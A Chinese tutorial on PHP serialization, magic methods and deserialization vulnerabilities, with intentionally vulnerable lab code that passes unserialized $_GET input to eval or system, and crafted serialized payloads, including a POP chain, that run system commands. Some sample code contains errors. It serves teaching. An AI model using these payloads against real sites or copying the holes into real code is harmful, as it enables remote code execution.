反序列化漏洞详解(一)

目录

一、php面向对象

二、类

2.1 类的定义

2.2 类的修饰符介绍

三、序列化

3.1 序列化的作用

3.2 序列化之后的表达方式/格式 

① 简单序列化

② 数组序列化

③ 对象序列化

④ 私有修饰符序列化

⑤ 保护修饰符序列化

⑥ 成员属性调用对象 序列化

四、反序列化

4.1 反序列化的特性

4.2 反序列化的作用

五、反序列化漏洞

5.1 反序列化漏洞概述

5.2 魔术方法

魔术方法简介

什么是魔术方法

魔术方法的作用

魔术方法相关机制

重要魔术方法

六、pop链前置知识


一、php面向对象

面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心:计算机模拟现实世界,解决现实世界的问题。注意:面向对象思想很重要,其次是编程语言的语法。相比于面向过程,两者思想方式不同,面向过程注重功能,怎么一步一步去实现,其程序基本单位大多是函数组成的;而面向对象注重对象,是谁去做这个事情,也就是行为以及状态,其程序基本单位是对象,对象是通过类的实例化产生的。


二、类

2.1 类的定义

类是定义了一件事物的抽象特点,将数据的形式以及这些数据上的操作封装在一起,对象是具有类类型的变量,是类的实例。类是对象的抽象,而对象是类的具体实例。类的想法,把类实例化(new),调用具体值后就变成了对象。

内部构成:成员变量(属性)+成员函数(方法)

成员变量:定义在类内部的变量,该变量对外是不可见的,但是可以通过成员函数访问,在类被实例化成为对象后,该变量即可成对象的属性。

成员函数:定义在类的内部,用于访问对象的数据,是实现某个独立的功能,类中一个行为

大白话解释一下(比较形象):

类和对象的关系:类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 ,但是同学A 填写了这个表格,A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象,A就可以拿着简介去公司面试了,否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞,电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性,这时候面试官看到对象里面写着个人爱好为跳舞,面试官对同学A(执行类中函数)你跳舞吧,边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息(这就是成员函数可以访问成员变量,并且个人信息别人是不知道的),(通过这也可以看出 对象里有属性和方法,属性是可以一看看出来的,但是方法需要面试官主动让你跳,你才能跳) 

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系(也就是说 一个类的子类和类本身是没有什么区别的)


2.2 类的修饰符介绍

在类中直接声明的变量成为成员属性(也可以成为成员变量),可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储对象不同的属性信息

访问权限修饰符:对属性的定义 定义权限

如果定义了权限 就不可以在哪都能调用了

代码演示

<?php
class jianjie{  //定义一个类 简介的表格var $name; //定义一个属性 表格中需要填写的var $sex;  function dance($var1) { //定义一个方法 也就是跳舞echo $this->name."<br />";//如果对象为A A跳舞的时候可以说出自己的个人信息echo $var1."<br />";}
}
$A= new hero();//将类实例化为对象 也就是表格让同学A填写
$A->name='chengyaojin'; //同学A进行填写
$A->sex='man';
print_r($cyj);//面试官查看个人信息 只能查看到属性
$A->dance('tiaotiaotiao'); //面试官知道表格里有个跳舞,面试官就让A跳舞 A就跳舞了
?>
<?php
class hero{//三个属性 定义了该属性的权限public  $name='chengyaojin'; //公共的private  $sex='man';//私有的protected  $shengao='165';//私有加子类的function jineng($var1) {echo $this->name; //可以echo $var1;       //可以}
}
class hero2 extends hero{ //hero2位hero的子类function test(){echo $this->name."<br />";//可以echo $this->sex."<br />"; //不可以echo $this->shengao."<br />";//可以}
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

三、序列化

3.1 序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和方便传输)

将对象或者数组转化为可存储/传输的字符串

举例:如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面

在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示


3.2 序列化之后的表达方式/格式 

① 简单序列化

<?php
$a=null;
echo serialize($a);
?>

② 数组序列化

<?php
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>
benben
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

③ 对象序列化

<?php
class test{public $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}

④ 私有修饰符序列化

<?php
class test{private $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
//因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符

⑤ 保护修饰符序列化

<?php
class test{protected $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符

⑥ 成员属性调用对象 序列化

<?php
class test{var $pub='benben';function jineng(){echo $this->pub;}
}
class test2{var $ben;function __construct(){$this->ben=new test();}
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

整体演示

<?php
highlight_file(__FILE__);
class TEST {public $data;public $data2 = "dazzhuang";private $pass;public function __construct($data, $pass){$this->data = $data;$this->pass = $pass;}
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$arr2 = array2('benben','dazhuang','tzy');
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

注意

切记整型666被序列化后是 i:666; 分号要记住

实例化为对象后只会携带成员属性做序列化的时候 只会序列化属性,成员方法调用才有

带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符

s:10:"TESTpass" 明明8个字符 确显示10个字符就是因为空字符的原因


四、反序列化

4.1 反序列化的特性

1 反序列化之后的内容为一个对象

2 反序列化生成的对象里的值,由反序列化里的值提供;与原由类预定义的值无关

3 反序列化不触发类的成员方法;需要调用方法后才能触发(有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法


4.2 反序列化的作用

代码

<?php
class test {public  $a = 'benben';protected  $b = 666;private  $c = false;public function displayVar() {echo $this->a;}
}
$d = new test();//将类实例化为一个对象
$d = serialize($d);//进行序列化
echo $d."<br />"; //输出一下序列化后的值
echo urlencode($d)."<br />";//进行url编码 能看到空字符的%00
$a = urlencode($d);//将url编码后赋值给变量a
$b = unserialize(urldecode($a));//对a进行反序列化 赋值给b
var_dump($b);//
?>

反序列化后的输出和正常对象的输出是一样的,但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { 
["a"]=> 
string(6) "benben" 
["b:protected"]=> 
int(666) 
["c:private"]=> 
bool(false) }

反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用(类似于系统识别出来你这个对象就是属于类,就可以用类中的方法) 这个时候如果把类注释掉 那么这个方法将无法执行 (其实老师说的也不对 我感觉不能这么理解)因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。


五、反序列化漏洞

5.1 反序列化漏洞概述

反序列化成因反序列化过程中,userialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值 ,通过调用方法,触发代码执行(到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性,但是这个属性可以通过反序列化进行更改,也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用)

反序列化漏洞实例

靶场源码

<?php
error_reporting(0);
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}
$get = $_GET["benben"];//通过GET 传参 传的是序列化后的值
$b = unserialize($get);//把参数值反序列化赋值给一个对象b
$b->displayVar() ;
//本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞 
到这我也发现有个前提 我们必须要知道源码
?>

传参??benben=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}


5.2 魔术方法

魔术方法简介

魔术方法在反序列化漏洞利用里面占用的比例还是很大的

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用的方法,触发代码执行

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法相关机制

重要魔术方法


_construct()

构造函数,在实例化一个对象的时候,首先回去自动执行的一个方法;

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

<?php
highlight_file(__FILE__);
class User {public $username;public function __construct($username) {$this->username = $username;echo "触发了构造函数1次" ;}
}
//实例化user类的时候会触发类中__construct魔术方法
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次

__destruct()

 析构函数,在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法

<?php
highlight_file(__FILE__);
class User {public function __destruct(){echo "出发了析构函数1次"."<br />" ;}
}
$test = new User("benben"); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发 
$ser = serialize($test);//不会触发
unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思
?>
这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法
反序列化一样的道理
触发了构造函数1次
触发了构造函数1次

析构函数例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍,反序列化也一个意思 要把字符串过一遍,虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发
?>

构造序列化后的值

?benben=O:4:"User":1:{s:3:"cmd";s:12:"system(dir);";}


__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password)    {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {return array('username', 'nickname');}
}
$user = new User('a', 'b', 'c');//触发__construct魔术方法 abc参数自动传入方法之中
echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

sleep例题

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password)    {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {system($this->username);}
}
$cmd = $_GET['benben'];//通过GET传入参数
$user = new User($cmd, 'b', 'c');//这个GET获取的参数作为对象的username
echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞
?>

构造语句?benben=cmd

这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多


__wakeup()

unserlialize()会检查是否存在一个__ wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用反序列化操作中重新建立数据库连接或执行其他初始化操作。

示例

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {$this->password = $this->username;}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
//在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password
魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password:private"]=> string(1) "a" ["order:private"]=> NULL }

例题 漏洞利用

<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

构造poc O:4:"User":1:{s:8:"username";s:3:"dir";}

输出


__tostring

表达方式错误 导致魔术方法触发

触发时机:把对象当成字符串调用

把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $benben = "this is test!!";public function __toString(){return '格式错误!';}
}
$test = new User() ;//这是一个对象
print_r($test); //成功执行
echo "<br />"; 
echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发
?>
User Object ( [benben] => this is test!! )
格式错误!

__invoke()

格式表达错误导致魔术方法触发

触发时机:包对象当成函数调用

<?php
function dazhaung(){echo "这是一个函数";
}
class User {var $benben = "this is test!!";public function __invoke(){echo  '这不是一个函数!';}
}
$test = new User() ;
dazhaung()//输出这是一个函数
$test() //因为这是对象 当成函数去执行类里面的invoke函数就会执行
?>

错误调用相关魔术方法


__call()

触发时机:调用一个不存在的方法

参数:2个参数传参$arg1,$arg2

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

 返回值:调用的不存在的方法的名称和参数

当对象调用的方法不存在是 就会触发这个魔术方法

<?php
class User {public function __call($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test = new User() ;
$test -> callxxx('a');
?>
callxxx,a

__callStatic()

触发时机:静态调用或调用成员常量时的方法不存在

参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数

<?php
class User {public function __callStatic($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test = new User() ;
$test::callxxx('a');//这就是静态调用方法 如果这个方法不存在 就触发callstatic
?>
callxxx,a

__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性名称

触发get(0)把不存在的属性名称var2赋值给$arg1

<?php
class User {public $var1;public function __get($arg1){echo  $arg1;}
}
$test = new User() ;
$test ->var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来
?>
var2

__set()

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

先触发grt()再触发set()

$arg1,不存在成员属性的名称

$arg2,不存在的成员属性var2赋的值

<?php
class User {public $var1;public function __set($arg1 ,$arg2){echo  $arg1.','.$arg2;}
}
$test = new User() ;
$test ->var2=1;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出
?>
var2,1

__isset()

触发时机:对不可访问属性/或不存在属性使用isset()或empty()时,__isset()会被调用

参数:传参$arg1

返回值:不存在的成员属性的名称 

<?php
class User {private $var;public function __isset($arg1 ){echo  $arg1;}
}
$test = new User() ;
isset($test->var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1
?>
var

unset()同理

<?php
class User {private $var;public function __unset($arg1 ){echo  $arg1;}
}
$test = new User() ;
unset($test->var);//同理
?>
var

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用一个魔术方法

<?php
class User {private $var;public function __clone( ){echo  "__clone test";}
}
$test = new User() ;
$newclass = clone($test)//拷贝一个对象后 这个新对象会触发魔术方法__clone
?>

六、pop链前置知识

1 控制成员属性所对应的对象是哪一个

2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了

练习 代码讲解

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;public function __construct(){$this->test = new normal();}public function __destruct(){$this->test->action();}
}
class normal {public function action(){echo "please attack me";}
}
class evil {var $test2;public function action(){eval($this->test2);}
}
unserialize($_GET['test']);
?>

反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点

往前推 

1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数

2 index类中的 __destruct魔术方法调用了normal类对象test的action函数 

这个时候问题就是如何让test调用evil中的action()方法 

因为反序列化得出的对象的值和类无关 可以自定义

我们只需定义test为对象 这个对象的来源是evil类

解决思路:给test赋值为对象  test=new evil()

有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串

我是真牛呀 一次直接手写成功

?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:12:"system(dir);";}}

但是吧手写短一点的行 最好还是要利用源代码构造poc 

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;public function __construct(){$this->test = new evil();}}
class evil {var $test2="system(dir);";public function action(){eval($this->test2);}
}
$a=new index();
echo serialize($a);
?>

这是分析代码后确定如何才能执行eval()

反序列化过程: 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action

得出反序列化过程开始使用序列化构造poc

构造poc序列化过程:index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir)

将poc放到源代码中分析过程:告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令

还有一种构造方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;
}
class evil {var $test2;}
$a=new evil();//实例化为一个对象
$a->test2="system(dir);";//为这个对象的竖向test2进行赋值
$b=new index();//实例化index的对象
$b->test=$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例
echo serialize($b); //实例化这个$b
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/191828.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

unity学习笔记

一、线段渲染器 在Unity中&#xff0c;线段渲染器&#xff08;Line Renderer&#xff09;是一种用于在场景中绘制线段的组件。线段渲染器非常适合用于创建轨迹、路径、光束等效果。 1. 创建Line Renderer&#xff1a;在Unity编辑器中&#xff0c;你可以通过创建空对象 -> …

Linux - 动态库的加载 和 重谈进程地址空间 - vscode 当中的 Remote - SSH 插件

推书&#xff1a;《现代操作系统》《操作系统--精髓于设计原理》《UNIX环境高级编程》 目录 前言 程序的加载 程序没有加载之前的地址&#xff08;此时还是程序&#xff09; 程序被加载到内存之后&#xff08;此时是进程&#xff09; 动态库的地址 静态库的不加载&#xff…

数据结构——堆排序的topk问题

呀哈喽&#xff0c;我是结衣 前言 今天给大家带来的堆排序的topk问题。topk就是在许多数中&#xff0c;找出前k个大的数&#xff0c;可能是几十个数&#xff0c;也可能是几千万个数中找。今天我们将要在1000000&#xff08;一百万&#xff09;个数中找出前10大的数。 知识点 C…

【c】角谷猜想

#include<stdio.h> int coll(int x)//定义函数 {int count0;while(x>1){if(x%20){xx/2;count;}else{x3*x1;count;}}return count; } int main() {int n,num;scanf("%d",&n);int arr[n1];for(int i1;i<n;i)//输入n组数据保存到数组中{scanf("%d&…

数据结构之哈希表

数据结构之哈希表 文章目录 数据结构之哈希表一、哈希概念二、哈希冲突三、哈希函数常见哈希函数 四、哈希冲突解决闭散列闭散列的思考线性探测线性探测的实现 二次探测 开散列开散列概念开散列的思考开散列实现 五、开散列与闭散列比较 一、哈希概念 顺序结构以及平衡树中&am…

MidJourney笔记(6)-Niji模式

Niji模式 回顾一下,在讲解settings命令时,我们可以看到一个Niji字眼。 而且是在Midjourney V4之后才有的,那Niji到底是什么? Niji是MidJourney中用于绘制二次元/动漫风格的模型,那Niji的V4和V5有什么区别呢?

竞赛选题 : 题目:基于深度学习的水果识别 设计 开题 技术

1 前言 Hi&#xff0c;大家好&#xff0c;这里是丹成学长&#xff0c;今天做一个 基于深度学习的水果识别demo 这是一个较为新颖的竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f9ff; 更多资料, 项目分享&#xff1a; https://gitee.com/dancheng-senior/pos…

编程实战:类C语法的编译型脚本解释器(系列)

“脚本”始终是个具有独特魅力的领域&#xff0c;能够随时方便地解决一些问题&#xff0c;但脚本的随意性同时带来别的问题&#xff0c;所以脚本始终属于让人又爱又恨的存在。 很多大型系统都会嵌入一些小型的解释器&#xff0c;用来让用户亲自编写简单的逻辑规则。不幸的是&am…

springCache——jetcache缓存

文章目录 jetcache远程、本地缓存方案jetcache方法注解使用方式 jetcache远程、本地缓存方案 <dependency><groupId>com.alicp.jetcache</groupId><artifactId>jetcache-starter-redis</artifactId><version>2.6.4</version></de…

[c]比较月亮大小

本题的难点就是分情况讨论 #include<stdio.h> int main() {int n;scanf("%d",&n);int arr2[n];int p;for(int m0;m<n-1;m){scanf("%d",&arr2[m]);//输入n个数保存到数组}if(n1)//当输入一个数据时&#xff0c;输入0&#xff0c;可以判断…

Java中实现HTTPS连接的最佳实践

引言 大家好&#xff01;我是小黑。今天咱们来聊聊一个既热门又实用的话题&#xff1a;在Java中如何实现HTTPS连接。现在的网络世界&#xff0c;安全性是大家都非常关注的问题&#xff0c;特别是对于咱们这些程序员来说&#xff0c;更是如此。想想看&#xff0c;如果你的网站或…

【Java 基础】16 泛型

文章目录 什么是泛型&#xff1f;泛型的声明泛型的使用泛型方法通配符和泛型上下界1&#xff09;通配符2&#xff09;泛型上下界 泛型的好处注意事项 泛型提供了一种在编写代码时更好地 支持类型安全的机制。通过泛型&#xff0c;我们可以编写更加 通用、 灵活、 可读性高的…

docker 搭建开发环境,解决deepin依赖问题

本机环境&#xff1a; deepin v23b2 删除docker旧包 sudo apt-get remove docker docker-engine docker.io containerd runc注意卸载docker旧包的时候Images, containers, volumes, 和networks 都保存在 /var/lib/docker 卸载的时候不会自动删除这块数据&#xff0c;如果你先…

Python爬虫完整代码模版——获取网页数据的艺术

Python爬虫完整代码模版——获取网页数据的艺术 在当今数字化世界中&#xff0c;数据是价值的源泉。如何从海量数据中提取所需信息&#xff0c;是每个数据科学家和开发者必须面对的问题。Python爬虫作为一种自动化工具&#xff0c;专门用于从网站上抓取数据。本文将提供一个Py…

YOLOv7+姿态估计Pose+tensort部署加速

YOLOv7-Pose 实现YOLOv7&#xff1a;可训练的免费套件为实时目标检测设置了最新技术标准 YOLOv7-Pose的姿态估计是基于YOLO-Pose的。关键点标签采用MS COCO 2017数据集。 训练 使用预训练模型yolov7-w6-person.pt进行训练。训练命令如下&#xff1a; python -m torch.distr…

Redis 安装

文章目录 第1关&#xff1a;Redis 安装第2关&#xff1a; Redis 启动 第1关&#xff1a;Redis 安装 编程要求 在右侧命令行中在线安装 Redis 服务器软件和客户端软件&#xff1a; 在线安装 Redis&#xff08;实验环境使用的是 Ubuntu 系统&#xff09;&#xff1b; 测试说明…

iptables——建立linux安全体系

目录 一. 安全技术类型 二. linux防火墙 1. 按保护范围划分&#xff1a; 2. 按实现方式划分&#xff1a; 3. 按网络协议划分&#xff1a; 4. 防火墙原理 三. 防火墙工具——iptables 1. netfilter 中五个勾子函数和报文流向 数据包传输过程&#xff1a; ① .五表四链…

OOM了?物理内存不够了?试试这个方法来提升内存容量,不花钱的

通过增加虚拟内存来提高内存使用 本文解决的实际问题&#xff1a; 当我们物理内存小的时候&#xff0c;会出现OOM&#xff0c;然后服务自动死掉的情况。因为物理内存大小是固定的&#xff0c;有没有其他好的办法来解决呢&#xff1f;这里我们可以适当调整Linux的虚拟内存来协作…

更改Jupyter Notebook 默认存储路径

import osprint(os.path.abspath(.)) 然后打开cmd,输入&#xff1a; jupyter notebook --generate-config 按照路径在本地文件夹中找到那个文件。 然后找到"c.NotebookApp.notebook_dir"这条语句&#xff1a;&#xff08;直接通过"crtlf"输入关键字找阿 …

微机原理——定时器学习1

目录 定时类型 8253内部结构框图 8253命令字 六种工作方式及输出波形 计数初值的计算与装入 8253的初始化 定时类型 可编程定时器8253&#xff1a;&#xff08;内部采用的是16位 减法计数器&#xff09; 8253内部结构框图 8253命令字 8253有三个命令字&#xff1a;方式命…